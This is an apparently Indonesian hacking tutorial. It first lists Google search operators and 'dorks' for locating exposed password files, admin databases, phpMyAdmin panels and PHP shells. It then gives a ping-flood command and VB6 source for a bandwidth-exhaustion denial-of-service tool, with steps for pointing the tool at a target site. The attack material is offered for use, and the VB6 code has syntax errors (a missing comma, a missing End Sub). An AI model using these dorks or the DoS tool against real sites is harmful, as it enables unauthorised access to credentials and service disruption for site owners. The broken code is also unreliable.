Google Hacking Google terkenal dengan search engine - Nya yang powerfull yang bisa
mencari informasi sebanyak huruf "o" yang muncul berdampingan dikata
Google. Sesuai dengan sejarah Google itu sendiri yang menyatakan
sebuah bilangan yang sangat besar jumlahnya bahkan lebih dari
"Triliun". Didalama google itu sendiri terdapat keyword yang dapat
mempermudah pencarian kita seperti mencari Vuln,mp3,Dll. Dan tidak
sedikit search engine seperti Google bermanfaat untuk Hacker dalam
melakukan penestrasi terhadap sesuatu. Disini akan dibahas tentang
keyword yang sering di gunakan oleh hacker untuk mencari Hal yang di
perlukan Jadi berhati - hatilah
Keyword:
"Keyword Dasar"
- Google tidak "case sensitive".
Keyword: linux = LINUX = LiNuX
Akan menghasilkan hal yang sama
- AND: Secara Default Google menggunakan keyword and.
Keyword: menjadi hacker
Hasilnya pencarian akan mengandung kata "menjadi" dan "hacker"
- OR: Digunakan untuk menemukan halaman yang setidaknya berisi salah
satu dari keyword. Note: OR dituliskan dengan huruf besar semua.
Keyword: hacker OR cracker
Hasilnya pencarian akan mengandung kata "hacker" atau "cracker"
- +: Google akan mengabaikan pencarian dengan kata-kata umum seperti
"how" dan "where". Jika kata-kata umum ini begitu penting, anda
bisa menambahkan "+" didepan keyword tersebut.
Keyword: hacker how ==> Kata "how" akan diabaikan
Keyword: hacker +how ==> Kata "how" akan diikutsertakan
- -: Tanda minus "-" bisa digunakan untuk mengecualikan kata-kata
tertentu dalam pencarian. Misal kita ingin mencari kata
"linus tanpa linux", kita bisa menggunakan "linus -linux"
- *: Google tidak mendukung pencarian * sebagai pengganti huruf.
Misalkan kita ingin mencari dengan kata depan menja*
Google tidak mencari kata "menjamu", "menjadi", "menjalar", dll
Google akan menghasilkan pencarian hanya yang mengandung kata
"menja".
Tetapi google mendukung penggunaan * dalam pencarian kalimat.
Keyword: "menjadi * hacker"
Hasilnya pencarian dapat menghasilkan "menjadi seorang hacker",
"menjadi white hacker", dll.
- "": Dapat digunakan untuk mencari kata yg lengkap.
Keyword: "menjadi hacker"
Hasilnya pencarian akan mengandung kata "menjadi hacker"
- ?: Dapat digunakan untuk mencari pada direktori Google
Keyword: ?intitle:index.of? mp3
- intitle: Untuk mencari kata-kata dari judul suatu halaman web.
Keyword: intitle:Admin Administrasi
Keyword tersebut akan mencari judul halaman "Admin" dengan
deskripsi "Administrasi"
- allintitle: Untuk mencari kata-kata dari judul halaman web
secara lengkap.
Keyword: allintitle:Admin Administrasi
Keyword tersebut akan mencari judul halaman yang mengandung
kata "Admin" dan "Administrasi"
- inurl: Digunakan untuk mencari semua URL yang berisi kata-kata
tertentu.
Keyword: inurl:Admin Administrasi
Keyword tersebut akan mencari URL yang mengandung kata "Admin"
dengan deskripsi "Administrasi"
- allinurl: Digunakan untuk mencari semua URL yang berisi kata-kata
tertentu.
Keyword: allinurl:Admin Administrasi
Keyword tersebut akan mencari URL yang mengandung kata "Admin"
dan "Administrasi"
- site: Untuk mencari dalam suatu situs tertentu saja
Keyword: site:echo.or.id
Semua pencarian hanya berdasarkan site "echo.or.id"
- cache: Ketika Googlebot mengindeks suatu situs, google akan
mengambil snapshot dari semua halaman yang telah terindeks.
Operator ini membantu melihat halaman-halaman yang telah
dicache.
Keyword: cache:echo.or.id
Misalkan site aslinya sudah tidak aktif, anda tetap dapat melihatnya
pada snapshot/cache yang disimpan oleh Google.
- define: Operator ini digunakan untuk mencari definisi dari frasa
tertentu. Semua kata yang diketik setelah operator ini akan
diperlakukan sebagai satu frasa.
Keyword: define:hacker
- filetype: Jika kita mencari jenis file tertentu yang berisi informasi
yang anda inginkan kita bisa menggunakan operator ini.
Keyword: "hacker" filetype:pdf
- link: Untuk mencari tahu berapa banyak link ke suatu situs, kita bisa
menggunakan operator link.
Keyword: link:www.google.com
- related: Untuk mencari halaman yang isinya mirip dengan URL tertentu.
Keyword: related:www.google.com
Dari dasar-dasar dan spesial operator tersebut anda bisa mencampurkan
operator-operator tersebut.
Ex:
- Keyword: site:echo.or.id, menghasilkan semua site echo.or.id. Kemudian
anda bisa mencoba keyword: site:echo.or.id hacker, akan menghasilkan
semua site echo.or.id yang mengandung kata hacker.
Berbagai trik keyword pada Google:
parent directory books -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory video -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
intitle:index of intitle:mp3 -html -htm name size
intitle:index of intitle:video -html -htm name size
intitle:index of intitle:cgi-bin passwd -html -htm name size
intitle:index of intitle:cgi-bin password -html -htm name size
inurl:"admin.mdb" -html
inurl:"password.mdb" -html
inurl:"data.mdb" -html
"phpMyAdmin" "running on" inurl:"main.php"
intitle:"PHP Shell" "Enable stderr" php
**Memang masih kurang artikel ini karena kami hanya merujuk ke syntax**
**yang sering digunakan oleh hacker dalam melakukan penestrasinya jadi**
**bila ada kekurangan mohon di maafkan**
Google Hacking
Teknik Mudah DOS Pada Website
Teknik DOS disini maksudnya yaitu untuk melumpuhkan suatu server/website dengan cara menghabiskan bandwitdh dari website tersebut. Ada beberapa cara untuk DDOS, misalnya paling gampang dengan menggunakan perintah "ping", misalnya seperti : "ping -l 65500 - t www.target.com". Dari perintah "ping" tersebut kita mengirim paket sebesar 65500 bytes ke server dan nilai tersebut merupakan nilai maksimum yang dapat kita kirim. Meskipun perintah tersebut menggunakan paramameter "-t" yang berarti perintah "ping" akan dilakukan terus menerus ke "www.target.com", tetapi sepertinya butuh ratusan/ribuan komputer yang diperlukan untuk menjalani perintah "ping" ini seharian sehingga bandwidth dari si server habis.
Oleh karena hanya "65500", maka saya mikir bagaimana ya cara cepat menyedot bandwitdh dari si server. Berhubung perintah "ping" ga bisa, saya coba liat2 VB6, yup ada perintah : "Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long".
Setelah mencoba2, perintah tersebut dapat mendownload satu halaman/file dan mengsave file tsb ke harddisk. Wah klo file yang berukuran gede didownload make looping kayaknya bakalan nyedot bandwidth si server banyak tuh
Dengan konsep tersebut, yuk mari yuk mulai coding make VB6.. pake apa aja bisa kok soalnya kodenya sederhana
Yang diperlukan :
- l textBox => Text1
- 2 button, => Command1 dan Command2
- 1 timer => Timer1
- tambah sendiri yang lain
Kode-kode (taruh di form):
'----------START----------START----------
'fungsi buat mendownload file
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'fungsi untuk mendapatkan folder temporary
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
'Saat program dijalankan make sure nothing happen
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
'fungsi untuk menggenerate tulisan menjadi acak
Public Function Random(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Random = Int((High - Low + 1) * Rnd) + Low
End Function
'fungsi untuk mendapatkan folder temporary
Public Function GetTempDir() As String
Dim buff As String
buff = String(255, Chr$(0))
GetTempPath Len(buff), buff
GetTempDir = Left(buff, InStr(1, buff, Chr(0), vbTextCompare) - 1)
End Function
'inti dari program untuk melakukan DDOS
Private Sub Timer1_Timer()
Dim fileName As String
Dim DDOS
'membuat nama acak sebagai nama file yang akan disave
fileName = GetTempDir & Random(0, 999999999)
'mulai mendownload file yang terdapat pada Text1 dan mengsavenya
DDOS = URLDownloadToFile(0, Text1.text, fileName 0, 0)
'tombol untuk memulai DDOS
Private Sub Command1_Click()
Timer1.Enabled = True 'hidupkan timer buat looping
Timer1.Interval = 1000 'set setiap 1 detik program mendownload file dari server
Command2.Enabled = True
Command1.Enabled = False
End Sub
'stop semua actions
Private Sub Command2_Click()
Timer1.Enabled = False
Command1.Enabled = True
Command2.Enabled = False
End Sub
'----------END----------END----------
Setelah semua komponen2 dan kode sudah ada maka jalankan / F5, kemudian isi textbox dengan website yang akan diDDOS, misalnya "http://target.com/download/setup.exe" atau "http://target.com/index.php" , ingat tanpa tanda kutip dan TIDAK pake "www". Jadi klo kita isi "www.target.com/index.php" <== SALAH!. Setelah itu pencet command1 untuk memulai serangan. Saat command1 dipencet, maka program otomatis mendownload file di website sesuai yang kita isi di textbox dan mengsavenya di folder temporay dengan nama acak. Kenapa pake nama acak? karena untuk mengantisipasi jika suatu file blum beres didownload maka ga akan ngeganggu proses lain yang sedang berlangsung. Ok kayaknya udah pada paham tentang source code di atas. Ya tentunya bisa nambahin sendiri seperti pengecekan ada tidaknya koneksi internet, size yang udah didonlot atau animasi loading pada program biar lebih ok lagi programnya. Right, jangan digunaiin sembarangan.. Setiap perbuatan ada balasannya dan ingat gunakan di komputer yang bandwidthnya unlimited.
